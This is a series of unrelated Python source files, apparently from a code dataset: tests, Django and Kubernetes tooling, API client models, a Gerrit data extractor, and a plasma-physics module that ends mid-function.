nilq/baby-python
python
#!/usr/bin/python3 # -*- coding: utf-8 -*- import logging import time # 专注于 IO多路复用 可以实现一个可并发的服务器 import select # 用于类的序列化和反序列化 import json from master import * import server_pool from master2 import * import socket class EventLoop(object): def __init__(self): self._stopping = False # 创建一个socket AF_INET指定使用IPv4,SOCK_STREAM sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.conn_rd =[sock] #用来保存端口信息 self.portdict = {} #根本不知道这两个东西是干什么的 其他地方引入进来的 self.socketbridge = SocketBridge() self.socketbridge.start_as_daemon() @property def getPortdict(self): return self.portdict def thread_stop(self): self._stopping = True exists = self.portdict.keys() for cur in exists: logging.info("loop dispose port {}".format(cur)) # dispose() 函数是什么 self.portdict[cur].dispose() def run(self): while not self._stopping: # logging.debug('hh:{}'.format(r['hh'])) try: f = open('config.json', 'r') configs = json.load(f) #获取http的配置 http = configs['http'] #获取tcp的配置 tcp = configs['tcp'] check = {} if http: # 抽取主机地址和端口号 host, port = http['customer'].split(":") if self.portdict.get(port) is None: self.portdict[port] = http_service(http) self.portdict[port].updateconfig(http) check[port] = http for c in tcp: host, port = c['master'].split(":") check[port] = c exists = self.portdict.keys() removelist = [] for cur in exists: if not check.get(cur): logging.info("loop dispose port {}".format(cur)) self.portdict[cur].dispose() removelist.append(cur) for re in removelist: self.portdict.pop(re) for (port,c) in check.items(): if not self.portdict.get(port): logging.info("run init {}".format(c['master'])) self.portdict[port] = Mastar_line(self.socketbridge) self.portdict[port].main_master(c) except Exception as e: logging.info("fail config.json e:{}".format(e)) finally: if f: f.close() # logging.debug('using event model: 123') logging.info("bridgeAdd:{},bridgeRemove:{}".format(server_pool.ServerPool.bridgeAdd,server_pool.ServerPool.bridgeRemove)) time.sleep(10)
nilq/baby-python
python
"""Timers Tests""" from datetime import datetime, timedelta from itertools import starmap from operator import sub from time import time import pytest from circuits import Component, Event, Timer, sleep from circuits.six.moves import map, zip @pytest.fixture def app(request, manager, watcher): app = App().register(manager) assert watcher.wait("registered") def finalizer(): app.unregister() assert watcher.wait("unregistered") request.addfinalizer(finalizer) return app class single(Event): """single Event""" complete = True class persistent(Event): """persistent Event""" complete = True class App(Component): def init(self): self.flag = False self.count = 0 self.timestamps = [] def single(self): self.timestamps.append(time()) self.count += 1 self.flag = True def persistent(self, interval): timer = Timer(interval, single(), persist=True) timer.register(self) yield sleep(interval * 10) timer.unregister() def test_single(app, watcher): Timer(0.1, single()).register(app) assert watcher.wait("single_complete") assert app.flag def test_persistent(app, watcher): exponent = -1 interval = 10.0 ** exponent app.fire(persistent(interval)) assert watcher.wait("persistent_complete") xs = list(map(abs, starmap(sub, zip(app.timestamps, app.timestamps[1:])))) avg = sum(xs) / len(xs) assert round(avg, abs(exponent)) == interval def test_datetime(app, watcher): now = datetime.now() d = now + timedelta(seconds=0.1) Timer(d, single()).register(app) assert watcher.wait("single_complete") assert app.flag
nilq/baby-python
python
from django.apps import AppConfig class Lab1Config(AppConfig): name = 'lab1'
nilq/baby-python
python
####################################################################### # Name: test_semantic_action_results # Purpose: Tests semantic action results passed to first_pass call # Author: Igor R. Dejanović <igor DOT dejanovic AT gmail DOT com> # Copyright: (c) 2014 Igor R. Dejanović <igor DOT dejanovic AT gmail DOT com> # License: MIT License ####################################################################### # proj from arpeggio import * from arpeggio import RegExMatch as _ from arpeggio.export import PTDOTExporter def grammar(): return first, "a", second def first(): return [fourth, third], ZeroOrMore(third) def second(): return OneOrMore(third), "b" def third(): return [third_str, fourth] def third_str(): return "3" def fourth(): return _(r'\d+') first_sar = None third_sar = None class Visitor(PTNodeVisitor): def visit_first(self, node, children): global first_sar first_sar = children def visit_third(self, node, children): global third_sar third_sar = children return 1 def test_semantic_action_results(): global first_sar, third_sar peg_input = "4 3 3 3 a 3 3 b" parser = ParserPython(grammar, reduce_tree=False) result = parser.parse(peg_input) PTDOTExporter().exportFile(result, 'test_semantic_action_results_pt.dot') visit_parse_tree(result, Visitor()) assert isinstance(first_sar, SemanticActionResults) assert len(first_sar.third) == 3 assert third_sar.third_str[0] == '3'
nilq/baby-python
python
from pathlib import Path from unittest.mock import MagicMock from unittest.mock import patch import pytest from zelt.kubernetes import deployer from zelt.kubernetes.manifest import Manifest from zelt.kubernetes.manifest_set import ManifestSet from zelt.kubernetes.storage.configmap import ConfigmapStorage @pytest.fixture() def manifest_set(tmp_path: Path) -> ManifestSet: manifest_file = Path(tmp_path, "a_manifest.yaml") with manifest_file.open("w") as f: f.write( """ apiVersion: apps/v1 kind: Deployment metadata: name: a_controller namespace: some_namespace labels: application: some_application role: controller spec: replicas: 1 selector: matchLabels: application: some_application role: controller""" ) return ManifestSet( namespace=Manifest.from_file(manifest_file), service=Manifest.from_file(manifest_file), ingress=Manifest.from_file(manifest_file), controller=Manifest.from_file(manifest_file), worker=Manifest.from_file(manifest_file), others=[], ) @pytest.fixture() def locustfile(tmp_path: Path) -> Path: locustfile = Path(tmp_path, "some.py") with locustfile.open("w") as f: f.write("") return locustfile @pytest.fixture() def configmap_storage() -> ConfigmapStorage: return ConfigmapStorage(namespace="a-namespace", labels={"some": "labels"}) class TestCreateResources: @patch("zelt.kubernetes.client.config") @patch("zelt.kubernetes.client.try_creating_custom_objects") @patch("zelt.kubernetes.client.CoreV1Api.create_namespace") @patch("zelt.kubernetes.client.CoreV1Api.create_namespaced_service") @patch("zelt.kubernetes.client.CoreV1Api.create_namespaced_config_map") @patch("zelt.kubernetes.client.NetworkingV1beta1Api.create_namespaced_ingress") @patch("zelt.kubernetes.client.AppsV1Api.create_namespaced_deployment") @patch("zelt.kubernetes.client.wait_until_pod_ready") def test_it_deploys_all_given_manifests_and_configmap( self, wait, create_deployment, create_ingress, create_configmap, create_service, create_namespace, create_custom_objects, config, configmap_storage: ConfigmapStorage, locustfile: Path, manifest_set: ManifestSet, ): deployer.create_resources( ms=manifest_set, storage=configmap_storage, locustfile=locustfile ) create_namespace.assert_called_once() create_service.assert_called_once() create_configmap.assert_called_once() create_ingress.assert_called_once() create_custom_objects.assert_not_called() assert create_deployment.call_count == 2 @patch("zelt.kubernetes.client.config") @patch("zelt.kubernetes.client.try_creating_custom_objects") @patch("zelt.kubernetes.client.CoreV1Api.create_namespace") @patch("zelt.kubernetes.client.CoreV1Api.create_namespaced_service") @patch("zelt.kubernetes.client.CoreV1Api.create_namespaced_config_map") @patch("zelt.kubernetes.client.NetworkingV1beta1Api.create_namespaced_ingress") @patch("zelt.kubernetes.client.AppsV1Api.create_namespaced_deployment") @patch("zelt.kubernetes.client.wait_until_pod_ready") def test_it_deploys_custom_manifests( self, wait, create_deployment, create_ingress, create_configmap, create_service, create_namespace, create_custom_objects, config, configmap_storage: ConfigmapStorage, locustfile: Path, manifest_set: ManifestSet, ): manifest_set = manifest_set._replace(others=[manifest_set.namespace] * 2) deployer.create_resources( ms=manifest_set, storage=configmap_storage, locustfile=locustfile ) create_custom_objects.assert_called_once() @patch("zelt.kubernetes.client.config") @patch("zelt.kubernetes.client.CoreV1Api.create_namespace") @patch("zelt.kubernetes.client.CoreV1Api.create_namespaced_service") @patch("zelt.kubernetes.client.NetworkingV1beta1Api.create_namespaced_ingress") @patch("zelt.kubernetes.client.AppsV1Api.create_namespaced_deployment") @patch("zelt.kubernetes.client.wait_until_pod_ready") def test_it_does_not_deploy_workers_when_given_none( self, wait, create_deployment, create_ingress, create_service, create_namespace, config, manifest_set: ManifestSet, ): manifest_set = manifest_set._replace(worker=None) deployer.create_resources( ms=manifest_set, storage=MagicMock(), locustfile=MagicMock() ) create_namespace.assert_called_once() create_service.assert_called_once() create_ingress.assert_called_once() assert create_deployment.call_count == 1 class TestDeleteResources: @patch("zelt.kubernetes.client.config") @patch("zelt.kubernetes.client.CoreV1Api.delete_namespace") @patch("zelt.kubernetes.client.CoreV1Api.delete_namespaced_service") @patch("zelt.kubernetes.client.CoreV1Api.delete_namespaced_config_map") @patch("zelt.kubernetes.client.NetworkingV1beta1Api.delete_namespaced_ingress") @patch("zelt.kubernetes.client.await_no_resources_found") @patch("zelt.kubernetes.client.AppsV1Api.delete_collection_namespaced_deployment") def test_it_deletes_all_given_manifests_and_configmap( self, delete_deployments, wait, delete_ingress, delete_configmap, delete_service, delete_namespace, config, configmap_storage: ConfigmapStorage, manifest_set: ManifestSet, ): deployer.delete_resources(ms=manifest_set, storage=configmap_storage) delete_namespace.assert_called_once() delete_service.assert_called_once() delete_configmap.assert_called_once() delete_ingress.assert_called_once() delete_deployments.assert_called_once() class TestUpdateWorkerPods: def test_it_does_nothing_if_no_worker_manifest_exists( self, manifest_set: ManifestSet ): manifest_set = manifest_set._replace(worker=None) deployer.update_worker_pods(manifest_set, 2) assert manifest_set.worker is None def test_it_replaces_the_number_of_worker_replicas_in_place( self, manifest_set: ManifestSet ): original_replicas = int(manifest_set.worker.body["spec"]["replicas"]) expected_replicas = original_replicas + 1 deployer.update_worker_pods(manifest_set, expected_replicas) assert int(manifest_set.worker.body["spec"]["replicas"]) == expected_replicas def test_it_only_updates_worker_manifest_replicas(self, manifest_set): controller_replicas = int(manifest_set.controller.body["spec"]["replicas"]) deployer.update_worker_pods(manifest_set, controller_replicas + 1) assert ( int(manifest_set.controller.body["spec"]["replicas"]) == controller_replicas ) class TestRescaleWorkerDeployment: @patch("zelt.kubernetes.client.AppsV1Api.replace_namespaced_deployment") def test_it_does_not_rescale_when_not_given_a_worker_manifest( self, rescale, manifest_set: ManifestSet ): manifest_set = manifest_set._replace(worker=None) deployer.rescale_worker_deployment(manifest_set, 0) rescale.assert_not_called() @patch("zelt.kubernetes.client.config") @patch("zelt.kubernetes.client.AppsV1Api.read_namespaced_deployment") @patch("zelt.kubernetes.client.AppsV1Api.replace_namespaced_deployment") def test_it_rescales_when_given_a_worker_manifest( self, rescale, _read, _config, manifest_set: ManifestSet ): deployer.rescale_worker_deployment(manifest_set, 0) rescale.assert_called_once()
nilq/baby-python
python
from DB_Tables.Comments_Table import Comment_Table from DB_Tables.InlineComment_Table import InlineComment_Table from DB_Tables.PatchDetail_Table import PatchDetail_Table from DB_Tables.Patch_Table import Patch_Table from DB_Tables.People_Table import People_Table from DB_Tables.RequestDetail_Table import RequestDetail_Table from DB_Tables.Request_Table import Request_Table from DB_Tables.Reviews_Table import Reviews_Table from Database.DB_Queries import DB_Queries from Gerrit_Extractor.ReviewExtractor import ReviewExtractor class Controller: def __init__(self, url='', username='', password=''): if url=='': url='https://gerrit.iotivity.org/gerrit/' self.url = url self.username = username self.password = password self.reviewExtractor=ReviewExtractor(self.url,self.username,self.password) self.db = DB_Queries() print('DB Connected Successfully') self.changeList = [] self.changeDetailList = [] self.commentCount = {} self.inlineCommentList = [] self.rt = Request_Table(self.db) self.rDetail_Table = RequestDetail_Table(self.db) self.pt = People_Table(self.db) self.reviewsTable = Reviews_Table(self.db) self.ct = Comment_Table(self.db) self.iCom = InlineComment_Table(self.db) self.pDetailTable = PatchDetail_Table(self.db) self.patchTable = Patch_Table(self.db) def getProjectList(self): self.projectDict,self.projectNameList=self.reviewExtractor.getProjectList() def getAllChangeList(self): self.changeList=self.reviewExtractor.getAllChangeList(self.projectDict) def getChangeDetailList(self): self.changeDetailList=self.reviewExtractor.getChangeDetailList(self.changeList) def getTopic(self): self.changeDetailList=self.reviewExtractor.getTopic(self.changeDetailList) def getRevisions(self): self.changeDetailList = self.reviewExtractor.getRevisions(self.changeDetailList) def getReviewerList(self): changeList = self.db.fetchChangeList() self.reviewerList=self.reviewExtractor.getReviewerList(changeList) def getInlineComment(self): changeList = self.db.fetchChangeList() self.inlineCommentList, self.commentCount = self.reviewExtractor.getInlineComment(changeList) #print(self.inlineCommentList) def getPatchDetail(self): changeList = self.db.fetchChangeList() self.patchDetailList = self.reviewExtractor.getPatchDetail(changeList) #print(self.inlineCommentList) def extractAllInfo(self): self.getProjectList() self.getAllChangeList() self.getChangeDetailList() self.getTopic() self.getRevisions() self.getPatchDetail() self.getInlineComment() self.getReviewerList() def prepRequest(self): self.rt.prepRequest(self.changeDetailList) def prepRequestDetail(self): self.rDetail_Table.prepRequestDetail(self.changeDetailList) def prepComment(self): self.ct.prepComment(self.changeDetailList) def prepPeople(self): # print(self.reviewerList) self.pt.prepPeople(self.reviewerList) def prepReviews(self): # print(self.reviewerList) self.reviewsTable.prepReviews(self.reviewerList) def prepInlineComment(self): self.iCom.prepInlineComment(self.inlineCommentList) def prepPatchDetail(self): self.pDetailTable.prepPatchDetail(self.patchDetailList) def prepPatch(self): self.patchTable.prepPatch(self.patchDetailList, self.commentCount) def fillAllTable(self): self.prepRequest() self.prepRequestDetail() self.prepComment() self.prepInlineComment() self.prepPatchDetail() self.prepPatch() self.prepPeople() self.prepReviews() def execute(self): self.getProjectList() self.getAllChangeList() self.getChangeDetailList() self.getTopic() self.getRevisions() self.prepRequest() self.prepRequestDetail() self.prepComment() self.getInlineComment() self.prepInlineComment() self.getReviewerList() self.prepPeople() self.prepReviews() self.getPatchDetail() self.prepPatchDetail() self.prepPatch()
nilq/baby-python
python
# flake8: noqa F401 from wagtailregulations.models.django import ( EffectiveVersion, Part, Section, Subpart, sortable_label, ) from wagtailregulations.models.pages import RegulationPage, RegulationPageMixin
nilq/baby-python
python
# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from django.conf.urls import url from . import views urlpatterns = [ url( regex=r'^$', view=views.chat, name='chatRoom' ), url(r'^new/$', views.new_room, name='new_room'), url(r'^(?P<label>[\w-]{,50})/$', views.chat_room, name='chat_room'), ]
nilq/baby-python
python
__author__ = """Romain Picard""" __email__ = 'romain.picard@oakbits.com' __version__ = '0.1.0' from .types import NamedObservable, Update, Updated from . import pullable
nilq/baby-python
python
from __future__ import absolute_import # flake8: noqa # import apis into api package from swagger_client.api.aliens_api_api import AliensApiApi from swagger_client.api.games_api_api import GamesApiApi from swagger_client.api.logs_api_api import LogsApiApi from swagger_client.api.scoreboard_api_api import ScoreboardApiApi from swagger_client.api.submissions_api_api import SubmissionsApiApi from swagger_client.api.teams_api_api import TeamsApiApi from swagger_client.api.tournaments_api_api import TournamentsApiApi
nilq/baby-python
python
import uuid from django.conf import settings from django.test import TestCase from mock import patch from sqlalchemy import create_engine from sqlalchemy.exc import ProgrammingError from corehq.apps.userreports.models import DataSourceConfiguration, ReportConfiguration from corehq.apps.userreports.pillow import ConfigurableIndicatorPillow from corehq.apps.userreports.reports.factory import ReportFactory from corehq.apps.userreports.sql.connection import get_engine_id from corehq.apps.userreports.tests.utils import get_sample_data_source, get_sample_doc_and_indicators, \ get_sample_report_config from corehq.apps.userreports.sql import IndicatorSqlAdapter from corehq import db class UCRMultiDBTest(TestCase): @classmethod def setUpClass(cls): cls.db2_name = 'cchq_ucr_tests' db_conn_parts = settings.SQL_REPORTING_DATABASE_URL.split('/') db_conn_parts[-1] = cls.db2_name cls.db2_url = '/'.join(db_conn_parts) # setup patches cls.connection_string_patch = patch('corehq.db.connection_manager.get_connection_string') def connection_string_for_engine(engine_id): if engine_id == 'engine-1': return settings.SQL_REPORTING_DATABASE_URL else: return cls.db2_url mock_manager = cls.connection_string_patch.start() mock_manager.side_effect = connection_string_for_engine # setup data sources data_source_template = get_sample_data_source() cls.ds_1 = DataSourceConfiguration.wrap(data_source_template.to_json()) cls.ds_1.engine_id = 'engine-1' cls.ds_1.save() cls.ds_2 = DataSourceConfiguration.wrap(data_source_template.to_json()) cls.ds_2.engine_id = 'engine-2' cls.ds_2.save() # use db1 engine to create db2 http://stackoverflow.com/a/8977109/8207 cls.root_engine = create_engine(settings.SQL_REPORTING_DATABASE_URL) conn = cls.root_engine.connect() conn.execute('commit') try: conn.execute('CREATE DATABASE {}'.format(cls.db2_name)) except ProgrammingError: # optimistically assume it failed because was already created. pass conn.close() cls.ds1_adapter = IndicatorSqlAdapter(cls.ds_1) cls.ds2_adapter = IndicatorSqlAdapter(cls.ds_2) def setUp(self): # initialize the tables self.ds1_adapter.rebuild_table() self.ds2_adapter.rebuild_table() self.assertEqual(0, self.ds1_adapter.get_query_object().count()) self.assertEqual(0, self.ds2_adapter.get_query_object().count()) @classmethod def tearDownClass(cls): # unpatch cls.connection_string_patch.stop() # delete data sources cls.ds_1.delete() cls.ds_2.delete() # dispose secondary engine cls.ds2_adapter.session_helper.engine.dispose() # drop the secondary database conn = cls.root_engine.connect() conn.execute('rollback') try: conn.execute('DROP DATABASE {}'.format(cls.db2_name)) finally: conn.close() cls.root_engine.dispose() def tearDown(self): self.ds1_adapter.session_helper.Session.remove() self.ds2_adapter.session_helper.Session.remove() self.ds1_adapter.drop_table() self.ds2_adapter.drop_table() def test_patches_and_setup(self): self.assertEqual('engine-1', get_engine_id(self.ds_1)) self.assertEqual('engine-2', get_engine_id(self.ds_2)) self.assertEqual(settings.SQL_REPORTING_DATABASE_URL, db.connection_manager.get_connection_string('engine-1')) self.assertEqual(self.db2_url, db.connection_manager.get_connection_string('engine-2')) self.assertNotEqual(str(self.ds1_adapter.engine.url), str(self.ds2_adapter.engine.url)) self.assertEqual(settings.SQL_REPORTING_DATABASE_URL, str(self.ds1_adapter.engine.url)) self.assertEqual(self.db2_url, str(self.ds2_adapter.engine.url)) def test_pillow_save_to_multiple_databases(self): self.assertNotEqual(self.ds1_adapter.engine.url, self.ds2_adapter.engine.url) pillow = ConfigurableIndicatorPillow() pillow.bootstrap(configs=[self.ds_1, self.ds_2]) self.assertNotEqual(self.ds1_adapter.engine.url, self.ds2_adapter.engine.url) sample_doc, _ = get_sample_doc_and_indicators() pillow.change_transport(sample_doc) self.assertNotEqual(self.ds1_adapter.engine.url, self.ds2_adapter.engine.url) self.assertEqual(1, self.ds1_adapter.get_query_object().count()) self.assertEqual(1, self.ds2_adapter.get_query_object().count()) def test_pillow_save_to_one_database_at_a_time(self): pillow = ConfigurableIndicatorPillow() pillow.bootstrap(configs=[self.ds_1]) sample_doc, _ = get_sample_doc_and_indicators() pillow.change_transport(sample_doc) self.assertEqual(1, self.ds1_adapter.get_query_object().count()) self.assertEqual(0, self.ds2_adapter.get_query_object().count()) # save to the other pillow.bootstrap(configs=[self.ds_2]) sample_doc['_id'] = uuid.uuid4().hex pillow.change_transport(sample_doc) self.assertEqual(1, self.ds1_adapter.get_query_object().count()) self.assertEqual(1, self.ds2_adapter.get_query_object().count()) self.assertEqual(1, self.ds1_adapter.get_query_object().filter_by(doc_id='some-doc-id').count()) self.assertEqual(1, self.ds2_adapter.get_query_object().filter_by(doc_id=sample_doc['_id']).count()) def test_report_data_source(self): # bootstrap report data sources against indicator data sources report_config_template = get_sample_report_config() report_config_1 = ReportConfiguration.wrap(report_config_template.to_json()) report_config_1.config_id = self.ds_1._id report_config_2 = ReportConfiguration.wrap(report_config_template.to_json()) report_config_2.config_id = self.ds_2._id # save a few docs to ds 1 sample_doc, _ = get_sample_doc_and_indicators() num_docs = 3 for i in range(num_docs): sample_doc['_id'] = uuid.uuid4().hex self.ds1_adapter.save(sample_doc) # ds 1 should have data, ds2 should not ds1_rows = ReportFactory.from_spec(report_config_1).get_data() self.assertEqual(1, len(ds1_rows)) self.assertEqual(num_docs, ds1_rows[0]['count']) ds2_rows = ReportFactory.from_spec(report_config_2).get_data() self.assertEqual(0, len(ds2_rows)) # save one doc to ds 2 sample_doc['_id'] = uuid.uuid4().hex self.ds2_adapter.save(sample_doc) # ds 1 should still have same data, ds2 should now have one row ds1_rows = ReportFactory.from_spec(report_config_1).get_data() self.assertEqual(1, len(ds1_rows)) self.assertEqual(num_docs, ds1_rows[0]['count']) ds2_rows = ReportFactory.from_spec(report_config_2).get_data() self.assertEqual(1, len(ds2_rows)) self.assertEqual(1, ds2_rows[0]['count'])
nilq/baby-python
python
""" Model class for Message. Refer: https://developers.facebook.com/docs/graph-api/reference/message """ from dataclasses import dataclass from typing import List, Optional from dataclasses_json import config from pyfacebook.models.base import BaseModel, field @dataclass class Tag(BaseModel): """ A class representing the tag in message. """ name: Optional[str] = field(repr=True) @dataclass class MessageTags(BaseModel): """ A class representing the tags in message. """ data: Optional[List[Tag]] = field(repr=True) @dataclass class MsgUser(BaseModel): """ A class representing the User in message. """ id: Optional[str] = field(repr=True, compare=True) name: Optional[str] = field(repr=True) email: Optional[str] = field() @dataclass class MessageTo(BaseModel): """ A class representing the to in message. """ data: Optional[List[MsgUser]] = field(repr=True) @dataclass class MessageAttachmentImageData(BaseModel): """ A class representing the image in attachment. """ width: Optional[int] = field() height: Optional[int] = field() max_width: Optional[int] = field() max_height: Optional[int] = field() url: Optional[str] = field(repr=True) preview_url: Optional[str] = field() raw_gif_image: Optional[str] = field() raw_webp_image: Optional[str] = field() animated_gif_url: Optional[str] = field() animated_gif_preview_url: Optional[str] = field() animated_webp_url: Optional[str] = field() animated_webp_preview_url: Optional[str] = field() image_type: Optional[int] = field() render_as_sticker: Optional[bool] = field() @dataclass class MessageAttachmentVideoData(BaseModel): """ A class representing the video in attachment. """ width: Optional[int] = field() height: Optional[int] = field() length: Optional[int] = field() video_type: Optional[int] = field() url: Optional[str] = field(repr=True) preview_url: Optional[str] = field() rotation: Optional[int] = field() @dataclass class MessageAttachment(BaseModel): """ A class representing the Attachment in message. Refer: https://developers.facebook.com/docs/graph-api/reference/v11.0/message/attachments """ id: Optional[str] = field(repr=True, compare=True) mime_type: Optional[str] = field() name: Optional[str] = field() size: Optional[int] = field() file_url: Optional[str] = field() image_data: Optional[MessageAttachmentImageData] = field() video_data: Optional[MessageAttachmentVideoData] = field() @dataclass class MessageAttachments(BaseModel): """ A class representing the attachments in message. """ data: Optional[List[MessageAttachment]] = field(repr=True) @dataclass class Message(BaseModel): """ A class representing the Message """ id: Optional[str] = field(repr=True, compare=True) created_time: Optional[str] = field() _from: Optional[dict] = field(metadata=config(field_name="from")) message: Optional[str] = field() tags: Optional[MessageTags] = field() to: Optional[MessageTo] = field() sticker: Optional[str] = field() # common connections attachments: Optional[MessageAttachments] = field()
nilq/baby-python
python
# -*- mode: python; coding: utf-8 -*- # Copyright 2017 Peter Williams and collaborators. # Licensed under the MIT License. """Various properties of plasma oscillations. Most equation references are to Stix (1992), "Waves in Plasmas". """ from __future__ import absolute_import, division, print_function __all__ = ''' Modes Parameters cutoff_frequencies omega_plasma omega_cyclotron phase_velocity resonance_frequencies wavelength wavenumber '''.split() import numpy as np from pwkit import cgs def omega_plasma(number_density, mass): """Compute the plasma frequency. number_density The number density of the particles, in cm^-3 mass The mass of each particle, in g. Returns: The plasma frequency, in rad/s. """ return np.sqrt(4 * np.pi * number_density * cgs.e**2 / mass) def omega_cyclotron(q, B, mass): """Compute the cyclotron frequency. q The charge of the particles, in esu: -1 for electrons, +1 for protons. B The ambient magnetic field strength in Gauss. mass The mass of each particle, in g. Returns: The cyclotron frequency, in rad/s. We follow the convention of Stix and some other authors in that this value has a sign that depends on the sign of the charge of the species in question. """ return q * cgs.e * B / (mass * cgs.c) def phase_velocity(refractive_index): """Compute the phase velocity in cm/s from the refractive index.""" return cgs.c / refractive_index def wavelength(refractive_index, omega): """Compute the wavelength of a wave. refractive_index The refractive index of the wave (dimensionless). omega The temporal frequency of the wave, in rad/s. Returns: The wavelength, in cm. """ return 2 * np.pi * cgs.c / (refractive_index * omega) def wavenumber(refractive_index, omega): """Compute the wavenumber of a wave. refractive_index The refractive index of the wave (dimensionless). omega The temporal frequency of the wave, in rad/s. Returns: The wavenumber, in cm^-1. """ return refractive_index * omega / cgs.c def cutoff_frequencies(n_e, B, gamma=1.): """Calculate the wave cutoff frequencies associated with a plasma. n_e The number density of electrons in cm^-3. Neutrality is assumed so this is also the number density of protons. B The ambient magnetic field strength in Gauss. gamma The Lorentz factor of the electrons. This is used to adjust effective mass of the electrons. The protons are assumed to have an effective Lorentz factor of unity. Returns: A sorted, 1D array of up to three cutoff frequencies in rad/s. At low densities the highest-frequency cutoff is pretty much the electron cyclotron frequency. Divide by (2 * pi * 1e9) to get GHz. Waves that propagate into a cutoff are reflected (https://farside.ph.utexas.edu/teaching/plasma/lectures1/node48.html). Based on setting R, L, and P = 0 in Stix equations (2-1)--(2-3). The first two can be converted into quadratics in omega, and they differ only by the sign of B. """ m_e = gamma * cgs.me m_i = cgs.mp n_i = n_e om_pe = omega_plasma(n_e, m_e) om_pi = omega_plasma(n_i, m_i) om_ce = omega_cyclotron(-1, B, m_e) om_ci = omega_cyclotron(+1, B, m_i) cutoffs = [np.sqrt(om_pe**2 + om_pi**2)] # P = 0 cutoff is trivial. A = 1. B = -(om_ce + om_ci) # this is the L = 0 cutoff; we're destroying the magnetic field variable C = om_ce * om_ci - om_pe**2 - om_pi**2 if 4 * A * C > B**2: return np.array(cutoffs) # no other valid solutions. # Between R and L and the +/- in the quadratic equations, there are four # possible solutions, two of which are negations of the other, so there # are always two nonnegative solutions. If RHS == 0 they're the same # number, though. `B` and `RHS` as we've defined them are always # nonnegative. prefactor = 1. / (2 * A) rhs = np.sqrt(B**2 - 4 * A * C) cutoffs.append(prefactor * (B + rhs)) if rhs != 0.: if rhs > B: cutoffs.append(prefactor * (rhs - B)) else: cutoffs.append(prefactor * (B - rhs)) return np.array(sorted(cutoffs)) def resonance_frequencies(n_e, B, theta, gamma=1.): """Calculate the wave resonance frequencies associated with propagation in a particular plasma. n_e The number density of electrons in cm^-3. Neutrality is assumed so this is also the number density of protons. B The ambient magnetic field strength in Gauss. theta The angle of wave propagation relative to the magnetic field, in radians. The resonance condition depends on this value. gamma The Lorentz factor of the electrons. This is used to adjust effective mass of the electrons. The protons are assumed to have an effective Lorentz factor of unity. Returns: A sorted, 1D array of up to three resonance frequencies in rad/s. (Probably the actual number of such resonances is always 1 or 0.) Divide by (2 * pi * 1e9) to get GHz. This usually works out to be around the electron plasma frequency as theta => 0., and a smaller value as theta => 90. FIXME: more intuitive understanding of how these numbers work out in the various parameter limits (e.g. low densities, theta => 0, theta => 90 degrees, etc.). Waves that propagate into a resonance are absorbed, heating the plasma (https://farside.ph.utexas.edu/teaching/plasma/lectures1/node48.html). Based on the solution of Stix equation (1-45) with plasma parameters determined from equations (1-19) and (2-1)--(2-3). Some naive algebra converts the condition into a cubic in the square of omega. """ m_e = gamma * cgs.me m_i = cgs.mp n_i = n_e om_pe = omega_plasma(n_e, m_e) om_pi = omega_plasma(n_i, m_i) om_ce = omega_cyclotron(-1, B, m_e) om_ci = omega_cyclotron(+1, B, m_i) q = np.tan(theta)**2 j2 = om_ce**2 + om_ci**2 k2 = om_pe**2 + om_pi**2 c3 = q + 1 c2 = -(q + 1) * (j2 + k2) c1 = (q + 1) * om_ce**2 * om_ce**2 - q * k2 * om_ce * om_ci + k2 * j2 c0 = -k2 * om_ce**2 * om_ce**2 roots = np.roots([c3, c2, c1, c0]) z = roots[np.abs(roots.imag) / np.abs(roots) < 1e-8].real z = z[z > 0] z = np.sort(z) return np.sqrt(z) class _Modes(object): FAST = 0 SLOW = 1 RIGHT = 0 LEFT = 1 ORDINARY = 0 EXTRAORDINARY = 1 Modes = _Modes() class Parameters(object): def _finish(self): "Stix equation 1-19." self.S = 0.5 * (self.R + self.L) self.D = 0.5 * (self.R - self.L) return self @classmethod def new_basic(cls, ghz, n_e, B, gamma=1.): """Set up plasma parameters for an electron-proton plasma in the standard cold approximation. ghz The oscillation frequency of the modes to consider, in GHz. (Note that ideally we'd express this in terms of the wavenumber `k` but the expressions that we use depend on `omega` instead.). n_e The number density of electrons in cm^-3. Neutrality is assumed so this is also the number density of protons. B The ambient magnetic field strength in Gauss. gamma The Lorentz factor of the electrons. This is used to adjust effective mass of the electrons. The protons are assumed to have an effective Lorentz factor of unity. Returns: A new Parameters instance. This function implements equations 1-47 and 1-48 in Stix. """ m_e = gamma * cgs.me m_i = cgs.mp n_i = n_e omega = 2 * np.pi * ghz * 1e9 om_pe = omega_plasma(n_e, m_e) om_pi = omega_plasma(n_i, m_i) om_ce = omega_cyclotron(-1, B, m_e) om_ci = omega_cyclotron(+1, B, m_i) alpha = om_pe**2 / omega**2 beta = om_ci / omega #gamma = (om_pi / om_ci)**2 -- defined by Stix but not needed mu = np.abs(om_ce / om_ci) # = m_p / m_e ~ 43^2 obj = cls() obj.omega = omega obj.R = 1. - alpha / (mu * beta + mu) + alpha / (mu * beta - 1) obj.L = 1. + alpha / (mu * beta - mu) - alpha / (mu * beta + 1) obj.P = 1. - alpha / mu - alpha return obj._finish() @classmethod def new_for_cma_diagnostic(cls, x, y, mass_ratio = 2.5): """Set up plasma parameters to reproduce the CMA diagram shown in Stix Figure 2-1. x The X coordinate of the CMA diagram in question: `(om_pi^2 + om_pi^2) / om`. y The Y coordinate of the CMA diagram in question: `|Om_e| / om`. mass_ratio The ion-to-electron mass ratio; the Stix diagram uses 2.5 for clarity. See Stix equations 2-1 -- 2-3. """ omega = 1. # arbitrary sum_om_p = x * omega**2 # = om_pe**2 + om_pi**2 om_ce = -y * omega om_ci = np.abs(om_ce) / mass_ratio obj = cls() obj.omega = omega obj.R = 1 - sum_om_p / ((omega + om_ci) * (omega + om_ce)) obj.L = 1 - sum_om_p / ((omega - om_ci) * (omega - om_ce)) obj.P = 1 - sum_om_p / omega**2 return obj._finish() def refractive_index(self, theta): """Compute the refractive indices for waves propagating in a plasma with the specified R,L,P parameters. theta The angle between the magnetic field and the wave propagation direction, in radians. Returns: An array of shape `(..., 2)`, where the unspecified part of the shape comes from broadcasting `theta` and the arrays like `self.L`. The first element of the final array axis gives the refractive indices for the fast mode, while the second gives them for the slow mode. The equations depend only on the square of the sines and cosines of `theta` so they are symmetric on the half-circle. This implements Stix equations 1-29 -- 1-35. """ sin2th = np.sin(theta)**2 cos2th = np.cos(theta)**2 A = self.S * sin2th + self.P * cos2th B = self.R * self.L * sin2th + self.P * self.S * (1 + cos2th) F = np.sqrt(((self.R * self.L - self.P * self.S) * sin2th)**2 + (2 * self.P * 